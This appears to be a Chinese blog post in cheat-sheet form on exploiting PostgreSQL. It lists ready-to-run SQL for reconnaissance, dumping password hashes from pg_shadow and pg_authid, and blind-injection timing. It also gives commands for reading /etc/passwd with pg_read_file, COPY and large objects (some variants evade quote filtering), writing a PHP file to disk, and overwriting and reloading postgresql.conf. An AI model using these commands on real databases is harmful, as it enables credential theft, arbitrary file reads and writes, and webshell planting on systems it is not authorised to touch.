目录

  1. 1. 前言
  2. 2. 信息收集
  3. 3. 账户操作
  4. 4. 注入
    1. 4.1. 关于转义
    2. 4.2. 盲注
  5. 5. 文件操作
  6. 6. 带外数据

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

PostgreSQL利用

2026/1/22 Web Postgres
  |     |   总文章阅读量:

前言

参考:

https://tttang.com/archive/1547

https://blog.csdn.net/HatOfDragon/article/details/54601121

https://www.cnblogs.com/yilishazi/p/14710349.html


信息收集

-- 详细信息
select version();

-- 版本信息
show server_version;
select pg_read_file('PG_VERSION', 0, 200);

-- 数字版本信息包括小版号
SHOW server_version_num;
SELECT current_setting('server_version_num');

列目录

-- 注意: 在早期的 PostgreSQL 版本中,pg_ls_dir 不允许使用绝对路径
select pg_ls_dir('/etc');

-- 获取 pgsql 安装目录
select setting from pg_settings where name = 'data_directory';

-- 查找 pgsql 配置文件路径
select setting from pg_settings where name='config_file'

列数据库

SELECT datname FROM pg_database;

查看支持的语言

select * from pg_language;

查看安装的扩展

select * from pg_available_extensions;

查看服务器 ip 地址

select inet_server_addr()

账户操作

查看当前用户是不是管理员权限

SELECT current_setting('is_superuser');
-- on 代表是, off 代表不是

SHOW is_superuser;
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;

查询密码

SELECT usename, passwd FROM pg_shadow;
SELECT rolname,rolpassword FROM pg_authid;

-- 当前加密方式,password_encryption参数决定了密码怎么被hash
SELECT name,setting,source,enumvals FROM pg_settings WHERE name = 'password_encryption';

注入

注释符 --/**/(注意 postgres 的这个注释符需要成对)

关于转义

postgresql 9 之前,反斜杠转义

postgresql 9 之后,反斜杠已经变成了普通字符,如果需要使用反斜杠转义可以在需要转义的字符串前面加上E(E就是Escape):

SELECT * FROM user WHERE username LIKE E'%\t%';

postgresql 中字符串需要用单引号包裹,如果使用双引号,系统将认为那是变量

所以最常见的转义就是对单引号的转义,postgresql 对单引号的转义有两种方式:

UPDATE user SET username = 'Peter''s Name' WHERE id = 1;
UPDATE user SET username = E'Peter\s Name' WHERE id = 1;

盲注

延时函数

select pg_sleep(5)

if 判断:

select case when (1>0) then 1 else 0 end

文件操作

读文件

-- 在早期的 PostgreSQL 版本中,pg_read_file 不允许使用绝对路径
select pg_read_file('/etc/passwd');

-- 单引号被转义的情况下使用
select/**/PG_READ_FILE($$/etc/passwd$$)


create table testf0x(t TEXT);
copy testf0x from '/etc/passwd';
select * from testf0x limit 1 offset 0;


Select lo_import('/etc/passwd',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a

-- 单引号被转义的情况下使用
select/**/lo_import($$/etc/passwd$$,11111);
select/**/cast(encode(data,$$base64$$)as/**/integer)/**/from/**/pg_largeobject/**/where/**/loid=11111

写文件

COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
COPY (select convert_from(decode('ZmZmZmZmZmYweA==','base64'),'utf-8')) to '/tmp/success.txt';


select lo_from_bytea(12349,'ffffffff0x');
SELECT lo_export(12349, '/tmp/ffffffff0x.txt');


-- 记下生成的lo_creat ID
select lo_creat(-1);

-- 替换 24577 为生成的lo_creat ID
INSERT INTO pg_largeobject(loid, pageno, data) values (24577, 0, decode('ZmZmZmZmZmYweA==', 'base64'));
select lo_export(24577, '/tmp/success.txt');

分页上传

SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('6666', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('666666', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('6666', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('663078', 'hex'));
SELECT lo_export(12345, '/tmp/ffffffff0x.txt');
SELECT lo_unlink(12345);
select lo_create(11116);
select lo_put(11116,0,'dGVzdDEyM');
select lo_put(11116,9,'zQ1Ng==');

select lo_from_bytea(11141,decode(encode(lo_get(11116),'escape'),'base64'));
select lo_export(11141,'/tmp/test.txt');
SELECT lo_unlink(11141);

-- 查看创建的 lo_creat ID
select * from pg_largeobject

-- 使用 lo_unlink 进行删除
SELECT lo_unlink(12345);

创建文件夹

select setting from pg_settings where name='config_file'	-- 查看配置文件路径
select pg_read_file('/var/lib/postgresql/data/postgresql.conf');

-- 修改并覆盖配置文件
log_destination = 'csvlog'
log_directory = '/tmp/f0x'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
log_rotation_size = 100MB
log_rotation_age = 1d
log_min_messages = INFO
logging_collector = on


-- 将修改后的配置文件加载到largeobject中
select lo_from_bytea(10001,decode('base64的配置文件内容','base64'));
-- 通过lo_export覆盖配置文件
select lo_export(10001,'/var/lib/postgresql/data/postgresql.conf');
SELECT lo_unlink(10001);

-- 重新加载配置文件
select pg_reload_conf();

-- 查询一下修改是否成功
select name,setting,short_desc from pg_settings where name like 'log_%';

带外数据